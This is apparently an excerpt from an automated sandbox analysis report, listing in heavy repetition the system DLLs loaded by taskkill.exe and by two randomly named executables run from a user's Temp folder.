Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
